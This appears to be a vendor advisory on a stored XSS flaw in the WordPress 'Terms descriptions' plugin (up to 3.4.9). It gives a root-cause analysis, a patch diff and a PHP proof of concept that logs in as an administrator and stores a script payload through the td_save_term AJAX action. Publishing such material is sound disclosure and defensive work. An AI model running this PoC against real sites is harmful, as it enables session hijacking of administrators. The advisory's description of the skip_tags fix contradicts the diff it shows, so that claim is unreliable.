Atomic Edge analysis of CVE-2026-24621:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Terms descriptions WordPress plugin. The vulnerability affects plugin versions up to and including 3.4.9. It allows attackers with administrator-level privileges or higher to inject arbitrary JavaScript into the plugin’s administrative interface. The injected script executes when a user views the compromised page. This issue only impacts multi-site WordPress installations and standard installations where the `unfiltered_html` capability is disabled.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping in multiple plugin files. The primary issue is in the `td_terms_ajax.php` file at line 121, where the `t_post_title` array value is populated directly from unsanitized `$_POST[‘td_link’]` user input. The vulnerability also involves the `td_admin_terms.php` file at line 476, which outputs the `t_post_title` value using `stripcslashes()` without escaping. The `td_admin_options.php` file at line 327 contains a logic flaw where the `skip_tags` key bypasses the `wp_kses_post()` sanitization function.
Exploitation requires an attacker to have administrator-level access to the WordPress backend. The attacker would send a crafted POST request to the plugin’s AJAX handler at `/wp-admin/admin-ajax.php`. The request must include the action parameter `td_save_term` and a malicious payload in the `td_link` parameter. The payload could be a standard XSS vector like `alert(document.cookie)`. The payload is stored in the plugin’s term data. It renders and executes when an administrator views the term list page at `Tools -> Terms Descriptions`.
The patch addresses the vulnerability in three key locations. In `td_terms_ajax.php`, line 121, the patch applies `esc_attr()` to the `$_POST[‘td_link’]` value before assignment, ensuring safe output. In `td_admin_terms.php`, line 476, the patch wraps the `stripcslashes()` output with `esc_attr()`. In `td_admin_options.php`, line 327, the patch modifies the sanitization loop to apply `wp_kses_post()` to all input keys except `skip_tags`, preventing a complete bypass. The patch also changes a hook from `init` to `admin_init` in `td_admin_tools.php` for better security scope.
Successful exploitation leads to stored cross-site scripting. An attacker can execute arbitrary JavaScript in the context of an administrator’s session. This can result in session hijacking, privilege escalation within WordPress, defacement of the admin panel, or redirection to malicious sites. In a multi-site network, a compromised super administrator could potentially affect all sites in the network.
--- a/terms-descriptions/ajax/td_terms_ajax.php
+++ b/terms-descriptions/ajax/td_terms_ajax.php
@@ -118,8 +118,8 @@
echo json_encode($res);
die();
}
- $term_data = array('t_post_id' => $_POST['td_post_id'],
- 't_post_title' => $_POST['td_link'],
+ $term_data = array('t_post_id' => ( int )$_POST['td_post_id'],
+ 't_post_title' => esc_attr($_POST['td_link']),
't_post_url' => $term_link,
't_post_type' => $_POST['td_content_type'],
't_term' => $term,
--- a/terms-descriptions/includes/td_admin_options.php
+++ b/terms-descriptions/includes/td_admin_options.php
@@ -324,7 +324,9 @@
}
foreach ($input as $key => $value) {
- $input[$key] = wp_kses_post($value);
+ if ('skip_tags' !== $key) {
+ $input[$key] = wp_kses_post($value);
+ }
}
if ( false !== $old_options ) {
--- a/terms-descriptions/includes/td_admin_terms.php
+++ b/terms-descriptions/includes/td_admin_terms.php
@@ -473,7 +473,7 @@
<span class="trash"><a href="?action=td_delete_term&term_id=<?php echo $term->t_id; ?>&_wpnonce=<?php echo $nonce; ?>"><?php _e( 'Delete', 'terms-descriptions' ); ?></a></span>
</div>
</td>
- <td><?php echo '<a href="' . $term->t_post_url . '" target="_blank">' . stripcslashes( $term->t_post_title ) . '</a>'; ?></td>
+ <td><?php echo '<a href="' . $term->t_post_url . '" target="_blank">' . esc_attr( stripcslashes( $term->t_post_title ) ) . '</a>'; ?></td>
<td>
<?php
$cur_types_names = __( 'All', 'terms-descriptions' );
--- a/terms-descriptions/includes/td_admin_tools.php
+++ b/terms-descriptions/includes/td_admin_tools.php
@@ -11,7 +11,7 @@
*/
public function __construct() {
add_action( 'admin_menu', array( $this, 'admin_menu' ) );
- add_action( 'init', array( $this, 'process_form_data' ) );
+ add_action( 'admin_init', array( $this, 'process_form_data' ) );
}
/**
--- a/terms-descriptions/terms-descriptions.php
+++ b/terms-descriptions/terms-descriptions.php
@@ -3,7 +3,7 @@
Plugin Name: Terms Descriptions
Plugin URI: https://simplecoding.org/plagin-wordpress-terms-descriptions
Description: This plugin allows you to create list of terms and assign links to them. Plugin automatically replaces terms occurrences in your posts with appropriate links. You can control the number of replacements. After activation you can create terms list on plugin administration page (Tools -> Terms Descriptions).
-Version: 3.4.9
+Version: 3.4.10
Author: Vladimir Statsenko
Author URI: https://simplecoding.org
Text Domain: wordpress.org/plugins/terms-descriptions
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24621 - Terms descriptions <= 3.4.9 - Authenticated (Administrator+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/admin-ajax.php';
$admin_user = 'attacker_admin';
$admin_pass = 'attacker_password';
// Payload to inject into the td_link parameter
$xss_payload = '"><script>alert(document.cookie)</script>';
// Initialize cURL session for login
$ch = curl_init();
// Step 1: Authenticate and obtain WordPress session cookies
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $admin_user,
'pwd' => $admin_pass,
'wp-submit' => 'Log In',
'redirect_to' => str_replace('admin-ajax.php', 'wp-admin/', $target_url),
'testcookie' => 1
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true); // Capture headers for cookies
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
// Check for successful login by looking for a redirect or dashboard indicator
if (strpos($response, 'Location:') === false && strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Step 2: Exploit the XSS vulnerability via the td_save_term AJAX action
// The td_link parameter receives the unsanitized payload.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'td_save_term',
'td_link' => $xss_payload,
'td_post_id' => 1, // A valid post ID
'td_content_type' => 'post',
'td_term' => 'exploited_term',
'td_description' => 'Atomic Edge test description',
// A valid nonce is required; this PoC assumes the attacker can obtain one via the admin interface.
'_wpnonce' => 'REPLACE_WITH_VALID_NONCE'
)));
$ajax_response = curl_exec($ch);
// Check the AJAX response for success
if (strpos($ajax_response, 'success') !== false) {
echo "Payload injected successfully.n";
echo "Visit the 'Tools -> Terms Descriptions' admin page to trigger the XSS.n";
} else {
echo "Injection may have failed. Response: $ajax_responsen";
}
curl_close($ch);
?>
